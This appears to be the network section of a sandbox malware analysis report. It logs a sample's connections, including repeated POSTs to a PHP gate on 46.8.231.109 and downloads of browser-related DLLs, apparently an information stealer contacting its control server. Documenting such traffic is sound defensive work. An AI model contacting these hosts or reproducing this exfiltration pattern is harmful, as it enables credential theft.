Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.illuminazioneproduzione.it | 80.88.87.221 |
- TCP Requests
-
-
192.168.56.103:49164 46.8.231.109:80
-
192.168.56.103:49165 46.8.231.109:80
-
192.168.56.103:49179 46.8.231.109:80
-
192.168.56.103:49167 80.88.87.221:443www.illuminazioneproduzione.it
-
192.168.56.103:49168 80.88.87.221:443www.illuminazioneproduzione.it
-
192.168.56.103:49169 80.88.87.221:443www.illuminazioneproduzione.it
-
192.168.56.103:49172 80.88.87.221:443www.illuminazioneproduzione.it
-
192.168.56.103:49174 80.88.87.221:443www.illuminazioneproduzione.it
-
192.168.56.103:49175 80.88.87.221:443www.illuminazioneproduzione.it
-
- UDP Requests
-
-
192.168.56.103:50800 164.124.101.2:53
-
192.168.56.103:52760 164.124.101.2:53
-
192.168.56.103:137 192.168.56.101:137
-
192.168.56.103:137 192.168.56.255:137
-
192.168.56.103:138 192.168.56.255:138
-
192.168.56.103:52763 239.255.255.250:1900
-
52.231.114.183:123 192.168.56.103:123
-
8.8.8.8:53 192.168.56.103:50800
-
GET
200
http://46.8.231.109/
REQUEST
RESPONSE
BODY
GET / HTTP/1.1
Host: 46.8.231.109
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI
Host: 46.8.231.109
Content-Length: 214
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 180
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKF
Host: 46.8.231.109
Content-Length: 268
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1520
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG
Host: 46.8.231.109
Content-Length: 267
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 7116
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----AEBAKJDGHIIJJKFHCFCA
Host: 46.8.231.109
Content-Length: 268
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 108
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGI
Host: 46.8.231.109
Content-Length: 4391
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET
200
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT
ETag: "10e436-5e7eeebed8d80"
Accept-Ranges: bytes
Content-Length: 1106998
Content-Type: application/x-msdos-program
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD
Host: 46.8.231.109
Content-Length: 363
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET
200
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:15 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "a7550-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 685392
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "94750-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 608080
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "6dde8-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 450024
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "1f3950-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 2046288
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:21 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "3ef50-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 257872
Content-Type: application/x-msdos-program
GET
200
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
REQUEST
RESPONSE
BODY
GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1
Host: 46.8.231.109
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:21 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT
ETag: "13bf0-5e7ebd4425100"
Accept-Ranges: bytes
Content-Length: 80880
Content-Type: application/x-msdos-program
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF
Host: 46.8.231.109
Content-Length: 943
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB
Host: 46.8.231.109
Content-Length: 879
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=88
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI
Host: 46.8.231.109
Content-Length: 663
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=87
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI
Host: 46.8.231.109
Content-Length: 267
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2408
Keep-Alive: timeout=5, max=86
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE
Host: 46.8.231.109
Content-Length: 265
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=85
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJD
Host: 46.8.231.109
Content-Length: 363
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=84
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEG
Host: 46.8.231.109
Content-Length: 1235
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=83
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDH
Host: 46.8.231.109
Content-Length: 272
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 168
Keep-Alive: timeout=5, max=82
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://46.8.231.109/c4754d4f680ead72.php
REQUEST
RESPONSE
BODY
POST /c4754d4f680ead72.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB
Host: 46.8.231.109
Content-Length: 272
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Fri, 13 Sep 2024 00:32:30 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
ICMP traffic
| Source | Destination | ICMP Type | Data |
|---|---|---|---|
| 192.168.56.103 | 164.124.101.2 | 3 |
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts